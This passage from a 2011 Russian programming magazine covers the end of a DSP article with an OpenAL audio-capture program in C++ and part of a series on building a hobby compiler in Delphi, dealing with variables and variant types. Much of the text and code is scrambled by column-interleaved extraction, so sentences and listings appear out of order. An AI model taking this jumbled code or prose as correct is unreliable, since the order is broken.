давление в какой-то точке среды, по которой проходят несколько волн, будет просто суммой звукового давления каждой из волн (принцип суперпозиции).
Независимость
волн
разных
частот друг от друга позволяет разложить звук на составляющие колебания и анализировать их отдельно. поэтому
Именно
мы
так
можем
поступает
разделять
наш
два
и
мозг,
более
источника звука и воспринимать звук от каждого в отдельности.
Программисты со значениями давления звуковой волны
не
имеют
дела.
http://ru.wikipedia.org/wiki/Микрофон
Микрофон
преобразу-
ет колебания воздуха в колебания тока в его цепи, затем это все проходит через различные усилители,
фильтры
и,
в
конечном
итоге,
* Комментарий редакции.
Термин «Цифровая обработка сигналов» (DSP – Digital Signal
Processing) охватывает довольно широкую область. К классу DSP (сигнальных процессоров) можно с уверенностью отнести ряд современных
процессоров.
Часто
отличительной
чертой
таких
утсройств считают наличие в них аппартной поддержки операций умножения с накоплением и т.п.
ЛАБОРАТОРИЯ
определенном диапазоне, к примеру, от 0 до 1.5 Еще у АЦП есть такой параметр как разрядность – это количество битов на выходе. Если уж
совсем просто, то АЦП замеряет напряжение на
входе и выдает на выходе число. Естественно, что
даже
на
напряжение,
непрерывная
отрезке
как
от
любая
физическая
принимать
0
до
1.5
уважающая
величина,
бесконечно
много
вольт, себя
может
значений.
Количество возможных значений на выходе АЦП ограничено АЦП
его
разрядностью.
производит
Следовательно,
квантование
сигнала
http://ru.wikipedia.org/wiki/Квантование_(обработ
ка_сигналов). На выходе этого устройства уже
имеем двоичный код – числа (их называют сэмплами или отсчетами) с которыми цифровой компьютер уже умеет работать.
Естественно, что если исходный звук был суммой
какого-то количества простейших колебаний, то оцифрованный звук будет представлять собой сумму этих самых колебаний, как если бы их
оцифровали отдельно и затем результат сложили
«посэмпельно»
(слово-то,
какое).
основываются все методы DSP. Цифровой
различных
звук
может
быть
форматах.
На
этом
и
представлен
в
Величинами,
характеризующими конкретный формат звука являются: •
частота дискретизации (количество сэмплов
•
разрядность
в секунду);
(разрядность
одного
сэмпла.
Самые распространенные – это 8 и 16 бит на
СОДЕРЖАНИЕ
21
ПРО
граммист
НЕМНОГО О DSP. ЧАСТЬ 1
№11 (февраль) 2011
сэмпл, то есть один сэмпл представляет собой 8-битное
или
16-битное
соответственно);
•
число,
количество каналов – моно (1 канал), стерео (2 канала) и больше (многоканальный звук).
то
внизу
<dsp1.cpp>):
статьи
есть
ссылка
на
файл
#include <al.h> #include <alc.h>
Если количество каналов больше 1, то сэмплы в
const int BUF_COUNT = 5;
затем второго, третьего и т.д., затем снова для
// Главный класс, который и отвечает за всю работу со звуком
потоке идут чередуясь: сэмпл первого канала, первого, для второго... Частота
дискретизации
для
цифрового
звука
обычно берется где-то около значения 44100 Гц (используется в AudioCD). Почему? Считается, звуковые
что
человек
колебания
с
не
частотой
воспринимает выше
20-ти
килогерц. А по теореме Котельникова** (есть
class SoundManager {
// Как говорится, "OpenAL related stuff" ALCdevice * in_device; ALCdevice * out_device; ALCcontext * context; ALuint al_source; ALuint al_buffers[BUF_COUNT];
такая, но об этом позже) для представления и
// Здесь уже наше, промежуточный буфер
ограниченным
int read_buf_size;
затем однозначного восстановления сигнала с спектром,
то
есть
сигнал
не
содержит колебаний с частотой выше некоторого F, достаточно частоты дискретизации 2F. Писать
Поэтому
обработчик я
WAV-файлов
решил
неинтересно.
поэкспериментировать
с
захватом звука. Да к тому же с преобразованием звука на лету. Для записи и воспроизведения
звука будем использовать OpenAL. Это позволит нам не сильно напрягаться, но в то же время
обеспечит полный доступ на низком уровне к
ALshort *play_buf; int play_buf_size; public: SoundManager() { // Здесь значения надо подбирать экспериментально read_buf_size = 44100; play_buf_size = 1024; play_buf = new ALshort [play_buf_size];
звуковым данным.
// Инициализируем OpenAL и создаем всякие штучки
Итак, начнем…
context = alcCreateContext(out_device, 0);
Так,
надо
out_device = alcOpenDevice (0);
запастись
библиотекой
OpenAL.
В
alcMakeContextCurrent(context);
репозитарии Ubuntu 9.04 шел OpenAL версии
in_device = alcCaptureOpenDevice (0, 44100,
сбросом состояния источника.
alGenSources(1, &al_source);
1.4.272, в котором замечен страшный глюк со Так
что
советую
качать
новый
использовал openal-soft-1.10.622).
OpenAL
(я
Затем надо создать проект в любой среде разработки, подключить OpenAL и вот первый мегалистинг (если кому лень выделять и копировать, ** Комментарий редакции.
Достаточно жесткое ограничение, практически не используемое. Как правило, используется минимум двойная или полуторная передискретизация.
ЛАБОРАТОРИЯ
AL_FORMAT_MONO16, read_buf_size); alGenBuffers(BUF_COUNT, al_buffers); // Заполняем первую очередь for (int i = 0; i < play_buf_size; ++i ) play_buf[i] = 0; for (int i = 0; i < BUF_COUNT; ++i) { alBufferData(al_buffers[i], AL_FORMAT_MONO16, play_buf, play_buf_size * sizeof(ALshort), 44100); }
СОДЕРЖАНИЕ
22
ПРО
НЕМНОГО О DSP. ЧАСТЬ 1
№11 (февраль) 2011
граммист
// Здесь начинаем запись и воспроизведение
~SoundManager()
alSourceQueueBuffers(al_source, BUF_COUNT, al_buffers);
{
alSourcePlay(al_source);
alcCaptureStop(in_device); alcCaptureCloseDevice(in_device);
alcCaptureStart(in_device);
}
} }; void update() {
int main()
ALint samples, val, state;
{ SoundManager s;
// Если источник вдруг перестал играть, то пнем его alGetSourcei (al_source, AL_SOURCE_STATE,
&state);
while (1) {
if (state != AL_PLAYING) alSourcePlay(al_source);
s.update(); }
alcGetIntegerv(in_device, ALC_CAPTURE_SAMPLES, sizeof(samples), &samples);
}
alGetSourcei (al_source, AL_BUFFERS_PROCESSED , &val);
Данная программа просто считывает порциями
// Пока есть свободные буферы воспроизведения и готовые
в
// данные, которые надо воспроизвести, считываем из // захвата и пишем на выход while ( ( (val--) > 0) && (samples > play_buf_size) ) { ALuint buffer; alcCaptureSamples(in_device, play_buf, play_buf_size); // ... пишем, да только не сразу, а после обработки ;) process(); // Вытаскиваем последний буфер из очереди, наполняем // данными и обратно в очередь alSourceUnqueueBuffers(al_source, 1, &buffer); alBufferData(buffer, AL_FORMAT_MONO16, play_buf, play_buf_size * sizeof(ALshort), 44100); alSourceQueueBuffers(al_source, 1, &buffer); alcGetIntegerv(in_device, ALC_CAPTURE_SAMPLES, sizeof(samples), &samples); } } void process() { // "all fun is here" }
ЛАБОРАТОРИЯ
звук с устройства записи по-умолчанию и пишет устройство
воспроизведения.
Здесь
в
программе реализована работа с потоковыми данными.
Как
видиим,
программа
работает
только с форматом AL_FORMAT_MONO16, это означает только один канал и 16-битные сэмплы. Заключение Но главное здесь это то, что в момент вызова пока
что
пустого
process()
кусок
звукового
потока лежит в play_buf и доступен нам для
изменения. Но лезть в сырые звуковые данные
не стоит. Единственное, что можно сделать – это, например, домножить все числа на константу. Если
константа
единицы, меньше,
будет
по
модулю
увеличение
соответственно,
будет
больше
громкости,
уменьшение.
если В
следующей статье я рассмотрю преобразование Фурье.
Исходники тестового проекта приложены в виде ресурсов непосредственно в архиве с журналом. Ресурсы •
Исходники проекта http://mathdev.org/sites/
•
Про
•
default/files/dsp1.cpp_.zip потоковый
звук
в
OpenAL
http://kcat.strangesoft.net/openal-tutorial.html Персональный
http://mathdev.org/mirat
блог
автора
СОДЕРЖАНИЕ
23
ПРО
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
граммист
Знаете, я все думал: «С чего бы продолжить написание компилятора, какой следующий шаг важнее?». Описать механизм операторов? Так к ним неплохо бы переменные, и функции могут участвовать в операциях. Описать механизм функций, опять-таки они без операторов – ничто. Описать механизм переменных? Но далеко не все типы можно обработать без функций… Дилемма. И все же продолжать с чего-то надо. А раз надо – почему бы не продолжить с того, что первое придет в голову, все равно придеться много раз править проект все новыми и новыми «фичами»… Виталий Белик
переменными).
by Stilet http://www.programmersforum.ru
исполнимых данных.
давайте
остановились.
В
файле,
припомним, прошлый
раз
на
чем
нам
мы
удалось
описать парсер выражений для нашего языка. Парсер простейший. Незачем было наворачивать его
всякими
сложностями.
ЛИСПоподобность
языка
не
требует
Благо
особых
телодвижений. Теперь главная задача, используя
этот парсер, оттранслировать выражения, им разобранные в операционные коды, которые в результате
должны
компьютер)
просчитать
сложится
в
программу,
заставляющую процессор (ну или в принципе выражение,
и
что-то
сделать с результатом. Тут подвох – что делать с результатом?
Понятно,
что
он
останется
в
регистрах (если конечно речь идет о числах, строки
массивы
рассматриваем), временное, куда-то.
И
работать
в
но
посему
и
прочие
регистр
результат
естественно
–
пока
хранилище
нужно
самое
не
выбрать
идеальное
хранилище для него – переменная. Значит нужно двух
направлениях:
компиляция
выражений и работа с переменными. Именно этим и займемся в ближайшее время. Начнем,
пожалуй,
может
с
в
этом
уже
не
трогать,
займемся
а
будет,
правильно
программы
ее
значение
ЛАБОРАТОРИЯ
уже
высчитывает
значение переменной вполне можно определить в ходе компиляции. Есть еще вариант хранения
переменных в свободной памяти. Путем вызова функций ОС, с просьбой зарезервировать память подо что-то, можно динамически определить переменную в ходе самой работы. Кстати еще вариант
–
Локальные
популярные
хранить
переменные
переменные процедур
компиляторы
(а
в
и
стеке.
функций
может
и
все)
например, хранят в стеке, и это определяет их
область видимости. А что, удобно. Закончилась процедура
–
указатель
стека
сместился,
считается, что все данные выше его затерлись, хотя на самом деле их значения остались. Их можно
смысла
достать нет
видимости,
при
особого.
чтоб
ее
огромном На
то
желании,
она
соблюдать.
и
Для
тить,
начала
чтоб
жизнь
что
но
область
договоримся, себе
все
переменные
упроснаши
будут
глобальными. Да, да. Именно глобальными.
На просторах интернета
целые
орды
программистов будут
ные. Это именованная
скажем, жестком диске не принято называть
значения
и будем активно это использовать) но начальное
ни (в
высчитать
процессор (мы рассмотрим, как это происходит,
их
нашем случае ОЗУ, поскольку хранилища на,
придется
возможно. Конечно же, потом, в ходе работы
выраже-
хранилища
т.е.
переменной до начала программы, если это
крути. Итак, переменчасть
виртуальной,
переменные
делают)
вплотную как
в
секцию
сложно, но умные оптимизаторы стараются (и
ниями – там больше кода
данных
отводят
инициализировать уже в ходе программы. Это не
потом
будем
быть
случае
устройства работы с переменными,
хранения
обычно
изначальные данные переменных не хранятся в
Adding again and again… Итак,
Она
Для
файлах
топтать вания
глобальных
сапогами
саму идею использо-
переменных
–
это
субъективные мнения. Глобальные переменные
СОДЕРЖАНИЕ
24
ПРО
граммист
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
не так уж и опасны, если без применения мозгов
относительно секции и даст нам абсолютный
использовать локальные переменные они могут
натворить куда больше беды. К тому же пока что не требуется наворачивать компилятор работой с областями
видимости.
Потом
когда
функции
адрес в памяти процесса •
пойдут можно будет подумать о том, как работать Ставится
задача
–
описать
которые
будут
механизмы
связаны
с
некой секцией в программе – секцией данных. Помните, во второй части мы описали класс TAlisaSection. Тот, который отвечал у нас за компиляцию
секции?
Поскольку
переменные
должны принадлежать именно секции, логично прикрутить
к
нему
методы
работы
с
этими
переменными. Но для начала предлагаю описать сам класс для механизмов переменных. Давайте
подумаем,
чем
зоваться переменная: •
должна
характери-
Имя переменной – переменная может не иметь имени, для нее это не главное, для
компилятора тоже, а вот для человека это основной
хранится.
мостик Имя
к
пониманию,
переменной
что
должно
где
быть
представлено символами, на понятном для
человека языке и не содержать разделителей
операндов. В нашем случае не содержать пробелов. Ну, это не проблема, программисты
пробелы не любят в именах и так. Кстати, предлагаю
не
ограничиваться
в
выборе
символов для имени. Любой язык, любая длина имени, практически любые символы. •
Ее
адрес
–
если
точнее
смещение
относительно секции. Я, как и сказано выше, сейчас предлагаю не заморачиваться над динамически
создаваемыми
указателями
и
переменными,
прочими
нямками
программирования. Пока хватит с головой простого данных. •
смещения
относительно
секции
Секция – раз уж мы решили использовать
именно смещение, то нужно знать и базу, от чего
смещаться
знает
свою
то.
Не
будем
особо
оригинальными – пусть каждая переменная секцию,
которая
естественно
знает базовый адрес. Он да плюс смещение
ЛАБОРАТОРИЯ
переменной
–
это
свойство
неоднозначно. Типов можно навыдумывать бесконечность.
с переменными локальными. «переименизации»,
Тип
Я
предлагаю
постараться
унифицировать типы. Чуть ниже я опишу, что имеется в виду и почему я так решил. Четыре
позиции.
давайте
Вполне
уточним
немного.
правила
игры
Теперь
с
именем
переменной и типом. Начнем с имени. Скажите мне: почему многие особенно старой школы компиляторы
так
переменной?
жутко
ограничивают
Например,
в
имя
ДОС-овских
компиляторах Паскаля и Си переменная не
имела право содержать символы отличные от
латиницы. Ладно, тут допустим понятно, что
американцы всегда думают только о себе. И, кроме того, латиница считается, чуть ли не
самым распространенным на земле алфавитом. Простим им это, уж привыкли. Зачем нужно было ограничивать имена переменных в длине? В классическом паскале, если не память мне не изменяет Больше Откуда
нельзя
не
ввести
воспримет
такое
более
80
символов.
компилятор.
ограничение.
Почему?
Распространено
мнение (вернее раньше такая байка была), что это
максимум
стандартная
что
строка
стандартное
может
вместить
консоли.
разрешение
Ну,
экрана
в
в
в
себя
смысле
ДОС
в
текстовом режиме – 80х25. Может быть, и было раньше
это
целесообразно,
учитывая,
что
человеку все равно неудобно давать длинные имена
–
иначе
бы
писать
программистов
они
много
вообще ничего
лень,
легендарная
не
а
лень
штука,
автоматизировали,
полагаясь на свое трудолюбие. Еще один прикол – первый символ в имени обязательно должен быть латинским символом-буквой или символом подчерка. Видимо это делалось для того, чтобы
анализатор быстрее работал за счет того, что можно определить по началу слова что оно собой представляет – число или некую директиву. Для
старых, ужатых рамками ограниченности самой операционки
и
слабенького
по
современным
меркам железа, программ – это справедливое
правило. Современные компиляторы первые два атавизма уже отбросили, слава Ктулху, а вот
последний еще действует, не смотря на то, что совсем не обязательно его соблюдать. Если хотя
СОДЕРЖАНИЕ
25
ПРО
граммист
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
Рис. 1. Типы в Делфи бы один из символов в имени не числовой – это уже не может быть числом, но… почему бы не
быть именем? Итак. Я предлагаю полностью снять
ограничения
с
имен.
Разрешим
использовать любую раскладку, любой длины
(Сколько в String влезет. Как вы думаете 2Gb для имени
хватит?
Думаю,
да)
и
разрешить
использовать в имени любые, абсолютно любые символы. юникод,
Если
значит,
переменных
у
вас
вам
Delphi,
повезло,
действительно
понимающий
можно
и
имена
писать
на
любом из земных языков. Единственное условие – имя переменной не должно совпадать с именем оператора, функции.
“MemName”,
зарезервированного
Например,
имена
“12-thisMemName”
слова
могут или
или
быть
даже
“Маша+Петя=Гиброхоботабр”. Любые символы.
Теперь что касается типа переменной. Многие
компиляторы предпочитают идти по накатанной
дорожке, имея в арсенале внушительный список
Рис. 2. Целые в Си
типов. Вот сколько целых типов (см. рисунок 1) в
Все
ввиду). А в Си (см. рисунок 2)? Еще больше, хотя
тоже имеет размер 4 байта. Процессору по
Делфи? Аж 7 типов (фундаментальных имеется размеры те же. А как они обрабатываются?
Процессор-то у нас, скорее всего 32-х разрядный.
ЛАБОРАТОРИЯ
эти
числа
четко
укладываются
в
один
регистр – 4 байта. Кроме того, элемент стека большему
счету
все
равно
один
байт
обрабатывать или четыре. Единственное, что
СОДЕРЖАНИЕ
26
ПРО
граммист
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
Рис. 3. Вариации работы с процессором можно
сказать
в
оправдание,
регистры
процессора исторически разделены на группы. Например,
для
команды,
обработки
работающие
с
байта
существуют
младшей
частью
регистра AL, AH (если брать на примере регистра аккумулятора). битами.
Они
Раньше
работают
когда
только
процессоры
с
8-ю
были
слабенькими это, безусловно, оправдывалось, и однозначно
было
удобно
в
одном
регистре
обрабатывать два операнда, потому и придумали столько
вариаций
одной
команды
обработки
данных с аккумулятором и прочими несколькими
регистрами. Вот смотрите в хелпе по Ассемблеру (см. рисунок 3). Одна команда на человеческом языке
может
компилятором
в
быть
разные
интерпретирована
формы
с
разными
опкодами, в зависимости от данных которыми она
должна
что
оно
в
один
байт
не
влезет,
сгенерирует опкод 8В, для того чтоб процессору
сказать что это число должно «прихавать» 16
или 32 бита. Процессор, скорее всего, отлистает
для него все свои 32 бита красоты. Интересно, что разработчики процессоров разделили его на три группы – Все 32 бита, верхнее слово/нижнее
слово, Верх нижнего слова/низ нижнего слова. Видимо поэтому команда для обработки 16 бит и 32 имеет один и тот же опкод. Впрочем, это мои наблюдения.
Может
быть
смысл
такого
«полиморфизма». Да-да, а вы всерьез думали, что полиморфизм пришел к нам с ООП? Совсем в другом.
Соответственно
и
с
вещественными
типами – там тоже разработчики компиляторов предпочли их разделить.
Компилятор
На фоне всего этого я предлагаю упростить нам
скажем, число 20. Оно занимает максимум 1
(зарезервированные слова которых еще придется
определяет,
что
оперировать.
понимая
в
процессор
помещается,
байт, значит сгенерировать опкод 8А. А если
число будет, скажем 500? Тогда компилятор,
ЛАБОРАТОРИЯ
задачу. Вместо того, чтобы плодить кучу типов
обрабатывать усложняя код и свою жизнь) лучше иметь тип, который позволит вместить в себе все
СОДЕРЖАНИЕ
27
ПРО
граммист
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
возможные
данные.
Слышали,
что
такое
вариантные типы? Case тип в паскале, он же
Variant в Делфи, или Union в Си? Если нет, то поясню
–
это
инструкция,
переменная сама «хавала» значения любого из возможных типов*.
говорящая
Итак, ничего не забыли в теории? Вроде нет.
памяти так, чтобы ее хватило для всех значений,
в виде кода. Опишем класс, который будет
компилятору «Hey, body, зарезервируй-ка мне
которые я туда буду пихать, и все равно что, может быть, останется неиспользуемое место, если данных будет меньше». На что компилятор
ответит – «Ок, дружище, чего там у тебя по размерам самое большое? Float? Так. Это 64
бита? Даю тебе поле памяти в 8 байт – сей туда, что хочешь из своего списка все поместится». Это и есть вариантные записи – переменная размером
с
значения
максимально
разных
типов,
возможной
длиной
которая
может
использоваться как хранилище для значений с длиной поменьше. Вот и мы поразмышляем – из всех типов, самый максимальный какой? Что мы
будем считать? Целые – максимум 32 бита (ну или 64, но пока на него губу раскатывать не будем).
Вещественные
–
максимум
80-битное
значение. 10 байт. TBYTE если говорить по ассемблерному. Указатели? 4 байта. Строки? Это
уже из другой оперы – это массивы. Впрочем,
Если что, дофантазируем. Пора оформить мысли заведовать переменными: TAlisaMem=class public MemName:string;
// Имя переменной
Data:Variant;
// Начальное значение
TypeMem:TypeOper;
// Тип переменной
Section:TObject;
// Секция, которой принадлежит
Offset:DWord;
// Смещение
Function Addr:String;
// Выч-ние полн.адр.как строки
Function PointerToMe:DWORD;
// Полный адрес как число
end;
Здесь стоит пояснить функции. Давайте сразу с их кодом. Посмотрим, что они должны делать: function TAlisaMem.Addr: String; begin Result:=DWordToStr(PointerToMe);
сейчас строки принято хранить в свободной
end;
которых
function TAlisaMem.PointerToMe: DWORD;
памяти
как
массивы
пишется
символов,
указатель,
на
опять
4
начало байта
всплыло. Итак, максимум у нас 10 байт. Вот пусть наши переменные заранее эти
10
байт,
таким
образом,
резервируют
чтобы
одна
* Комментарий автора.
Кстати можно провести легкую аналогию с C#, там есть тип var. Переменная неопределенного или я бы даже сказал любого типа. Его используют, когда программист заранее не знает, какой тип
нужен, и полагается на компилятор, которому ставится задача
begin Result:=( Offset+ TAlisaSection(Section).VirtualAddress+ TAlisaCompiler(TAlisaSection(Section).ParentCompiler). PE.ImageBase); end;
самостоятельно подобрать тип для переменной. Рекомендуют очень
PointerToMe
натереть на язык фразу типа «10 байт это расточительство,
базового адреса, адреса начала секции (или
при работе с LINQ. Уверен, что найдутся «язычники», готовые
ламерство и кощунство». Это веселые люди, скажу я вам, они без геморроя не могут жить. Вместо того чтобы писать маленькие
программы такие люди пишут Windows, в котором несмотря на все ужимки памяти почему-то этой самой памяти вдруг резко не
хватает. Опять-таки все нужно использовать с умом. Если эти 10 байт использовать с умом, то много программа занимать в памяти не
будет.
С
другой
стороны
можно
не
париться
по
поводу
приведения типов – он один на все случаи. Программисту, уже по идее, должно быть, удобно работать с такой переменной. Встает только дилемма о том стоит ли в памяти отделать ячейку, где будет указан тип переменной для якобы определения типа во время выполнения. Пока не стоит. В любом случае у нас в руках флаг
экспериментов, почему бы не попробовать пойти именно этой тропой.
ЛАБОРАТОРИЯ
абсолютный точнее
–
адрес
смещение
функция,
переменной.
секции)
и
вычисляющая Это
само
сумма
смещение
переменной внутри секции. Например, базовый адрес 400000h, секция сама лежит по смещению 2000h, и в ней третья переменная (помните каждая
переменка
переменной
равен
10
байт).
Итого
адрес
400000h+2000h+10*3,
которая в 16-тиричной системе равна 0Аh = 402014h.
Адрес вычислили, а теперь для пущего удобства переведем
его
в
строку.
Помните,
у
нас
компиляция проходит в переменную строкового
СОДЕРЖАНИЕ
28
ПРО
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
граммист
типа, которая затем и пишется в файл. Именно
призвана вносить в список переменных** новую
лишь конвертирует число в строку, правильно
операнд, не подходящий под описания числа:
для этого и нужна функция Addr, которая всего представляя ее в понятном для загрузчика виде. Функцию DWordToStr я описывал
во второй
части статьи.
Класс, заведующий, переменными готов. Теперь его
нужно
связать
с
секцией.
Но
прежде
предлагаю определить предварительно список типов, переменными которых будем оперировать: type
если
парсер
вдруг
обнаружит
function TAlisaSection.NewMem; begin // Создаем объект переменную Result:=TAlisaMem.Create; // вносим ее в список Mems.Add(Result); // Присваиваем ей имя Result.MemName:=AnsiLowerCase(ANameMem); // Запоминаем начальные данные (если они есть)
TypeOper = (_Unknown,_Int,_Double,_String,_Operator,_Member);
Стоит
ли
пояснять
–
что
это
за
типы?
_Int,_Double,_String – это предпочитаемые типы переменных, которые в ближайшее время мы хотим
использовать.
_Unknown
–
это
слово
указывает, что в ходе операции тип ее результата
не определен. Бывает и такое. Operator,_Member скажет компилятору, что очередной операнд
вложенное выражение и переменная. Пока этого хватит.
Чтобы воспользоваться этим, допишем в классе секций парочку усовершенствований: TAlisaSection=class
Result.Section:=self; // вычисляем ее смещение Result.Offset:=length(_Data); // И помещаем в нее инициализационные данные // Если это Вещественное if VarIsFloat(AData) then
_Data:=_Data+TWordToStr(AData) else
// Если это целое if VarIsOrdinal(AData) then _Data:=_Data+DWordToStr(AData)+#0#0#0#0#0#0 else // Или это строка if VarIsStr(AData)
then
begin
_Data:=_Data+AData; while (length(_Data) mod 10)<>0 do _Data:=_Data+#0; end;
Mems:TObjectList;
end;
Еще
public
function Mem(AName:string):TAlisaMem; function NewMem(ANameMem:string;AData:Variant):TAlisaMem; end;
Что это за методы? Mems – это список всех
переменных. Переменные будут создаваться по ходу их появления в коде. В этом я вижу
удобство. В Паскале просто таки необходимо строго описать все переменные в секции VAR. К
этому нужно привыкать. В Си больше вольности, переменную
где
угодно.
Естественно ее область видимости начинается
как минимум с места описания. Возьмем это на вооружение без учета области видимости. важная
ЛАБОРАТОРИЯ
функция
момент
–
я
языки.
терпеть Меня
ненавижу
бесит,
что
нужно обязательно нажимать Shift мезинцем для
Function Operator(SourceCode:String):String;
описать
один
регистрозависимые
…
Следующая
// Привязываем к секции, в которой она будет помещаться
// Класс, описывающий секции
…
можно
Result.Data:=AData;
// Выравнивая ее до 10 байт
Private
там
переменную,
NewMem.
того чтоб написать правильно имя переменной. Ладно, еще для современных IDE компиляторов
есть приблудинки, которые сами правят имена, как полагается,
но ведь и на них не всегда
можно полагаться, я уже не говорю о таких
системах как BlackBox, где об удобствах только мечтать можно, но вряд ли в обозримом будущем они
появятся.
Поэтому
предлагаю
снабдить
** Комментарий автора.
Обратите внимание. Если переменная инициализирована целым
числом, я ее дополняю нулями, чтобы выровнять до 10 байт – вот вам и Variant. Строки тоже дополняю до 10 байт, просто чтобы выравнивать. Этого можно и не делать, но так удобнее будет в
отладчике смотреть значения переменных. Такое дополнение будет
Она
касаться только начального значения строки или константы.
СОДЕРЖАНИЕ
29
ПРО
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
граммист
компилятор
механизмом,
который
будет
все
if TAlisaMem(Mems[i]).MemName=AName then begin
имена переводить в один регистр, как бы они не
Result:=TAlisaMem(Mems[i]);
были написаны – компилятору ни холодно, ни
break;
жарко, а вот программисту, привыкшему не
end;
обращать внимание на регистр, уже радостней – одной заботой меньше. Поэтому присваиваемое имя
переменной
преобразуется
регистр. Тут
всплывает
TwordToStr
–
еще
одна
типа
в
функция
вещественного
в
нижний
важная
функция.
формирует
правильную
число для
компиляции форму. Помните, в файле байты все
end;
Банальный
поиск
переменной
такого
в
цикле,
имени
если
объект
найден,
то
с
он
возвращается, иначе возвращается nil, т.е. такой
переменной нет (и возможно ее нужно будет создавать,
разберется).
в
чем
наш
компилятор
сам
должны быть перевернуты, потому что загрузчик
Теперь слегка отступим от дела. Секция может
потому скажем число нужно перевернуть верх
секцию кода? Она ведь хранит не переменные, а
загружает сначала байты по младшему адресу, тормашками, чтоб младший байт шел первым слева. Она тоже простенькая:
принадлежат поэтому
type qw=array[1..10] of byte;
все-таки
обработчик
в
секции,
качестве
операций
–
именно метода
желудок
исходный код-сырец – метод Operator.
Result:=Result+char(qw(d)[i]);
Что же он должен делать? Давайте попробуем
end;
Банально – превращаем вещественное число в
массив байт, и записываем*** его в обратном такое
себе
зеркальное
отражение
числа. Скажем, было число 123456h – получится
563412h, загрузчик загрузит сначала 56 потом 34 и так далее.
Вполне логично, что нам понадобится функция
поиска переменной по ее имени. Это и будет реализация:
они
предусмотрел
компилятора, которому мы будет скармливать
Result:='';
for i:=1 to 10 do
метод
я
секции
var i:integer;
делать
считает командами. И в принципе таких секций хватит для кода одной секции, код это данные, и
function TWordToStr(d:Extended):string;
порядке,
исполняемый код. Данные, которые процессор может быть несколько. Не смотря на то, что нам
// Функция для перевода Extended 80-bit
begin
хранить в себе не только переменные. Помните
Mem.
Вот
как
выглядит
function TAlisaSection.Mem(AName: string): TAlisaMem; var i:integer; begin Result:=nil; // Преобразуем искомое имя в нижний регистр AName:=AnsiLowerCase(AName); // И в цикле пока не найдено такое имя проходим // по списку переменных // Если такой переменной нет функция вернет nil for i:=0 to Mems.Count-1 do
ЛАБОРАТОРИЯ
его
разобрать в теории примитивную программу. Каждая
программа
должна
с
ей
начинать.
Это
оператор,
иметь
начало
и
конец. Если нет начала программы, то непонятно чего
интерпретаторе входа.
есть
В
любом
с
которого
так
компиляторе,
называемая
точка
процессор
начинает свое путешествие в недра программы. Очень показательно это оформлено в Си – там
всякое действо разбито на функции, и есть
главная функция, с которой начинается старт программы
–
функция
main().
Найдя
ее
компилятор проглатывает все, что в ней между
{…} и начинает свои странные танцы с бубном. Транслируя оператор
строчку,
за
за
строчкой,
оператором,
переводя
подтягивает
вызываемые в выражениях функции, он, таким образом,
формирует
операционные
коды
*** Комментарий автора.
Как вы уже успели заметить, я использую всего два типа – Extended (80-битное
вещественное)
и
Integer
(которое
по
умолчанию
занимает 32 бита). В случае со строками отзеркаливать не будем. Их механизм совсем другой – как строка читается – так и помещается в память.
СОДЕРЖАНИЕ
30
ПРО
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
граммист
программы. Можно сказать что main() в Си это
как
скармливается компилятору (я не беру сейчас во
заранее
главный оператор. Оператор, который первым внимание
директивы
сервисные инструкции).
сопроцессора
и
прочие
Именно такую стратегию я предлагаю перенять
нашему компилятору – все должно быть разбито
на функции, среди которых будет одна главная – функция с точкой входа. Пока это не важно, пока
у нас будет одна единственная функция, неважно даже как она будет называться, но главное скормить компилятору выражение, написанное по правилам языка. Его текст будет передаваться
методу Operator, который должен быть снабжен рекурсивным
механизмом
для
обработки
вложенных в него выражений-блоков кода. В этом
механизме
разбивающий
будет
строку
работать
на
элементы.
В
парсер, цикле
проходя по ним, компилятор должен определять, что это за элемент, число, переменная, может функция,
и
вызывать
соответствующий
обработчик, передав ему этот операнд. Причем
предлагаю
реализовать
следующей схеме: •
это
по
примем, что тип операции будет определять первый
операнд
остальные
–
это
элементы
операнды;
оператор.
выражения
Все
–
его
перед циклом выясняем, о какой операции
идет речь – получаем первый элемент – •
оператор;
согласно ему создаем объект класса, который будет
отвечать
Каждой
операция класса,
опкоды
компиляцию
свой
сложения
где
методы
сложения,
присваивания
–
–
класс.
операции.
Если
создается
будут
если
это
объект
компилировать
это
операция
соответствующий
класс.
весьма
пригодится
ООПшные
должны
быть
определены
абстрактные методы, присущие всем классам•
обработчикам; если
в
качестве
попадается
очередного
выражение
операнда
(вложенный
оператор) то метод инициирует рекурсивную
обработку этого оператора, предварительно стараясь
сохранить
регистры,
происходит основное вычисление.
в
которых
Итак. Давайте внимательнее посмотрим на сам код этого метода:
function TAlisaSection.Operator(SourceCode: String): String; var sc:TAlisaScaner;i:integer; krn:TAlisaKernel; begin // Инициируем парсер sc:=TAlisaScaner.Create; // Передав ему исходный код оператора (программы) sc.Text:=SourceCode; // Не забываем инициализировать выходную переменную. // мало ли какой там мусор в ней, ибо она располагается в стеке Result:=''; // Создаем объект ядра krn:=TAlisaKernel.Create(self); // Указав ему секцию с данными krn.ParentSection:=TAlisa(TAlisaCompiler(ParentCompiler). ParentAlisa).MemberSection; // И в цикле пропускаем через механизм ядра каждый операнд // операции получая на выходе скомпилированную строку с // операционными кодами for i:=0 to sc.High do begin Result:=Result+krn.Operator(sc[i]).Res; end; // Не забыв после убрать за собой мусор krn.Free; krn:=nil; sc.Free;
sc:=nil;
end;
Таким образом, удастся избегать каши в ядре
Здесь код не столь сложный, но появилось много
свою
на класс TAlisaKernel. Я повторюсь, что решил,
компилятора,
конуру,
прохожих, •
за
операции
раз
механизмы – материнский класс-шаблон, где
хозяина;
не
отделив и
каждому
пусть
путаясь
там
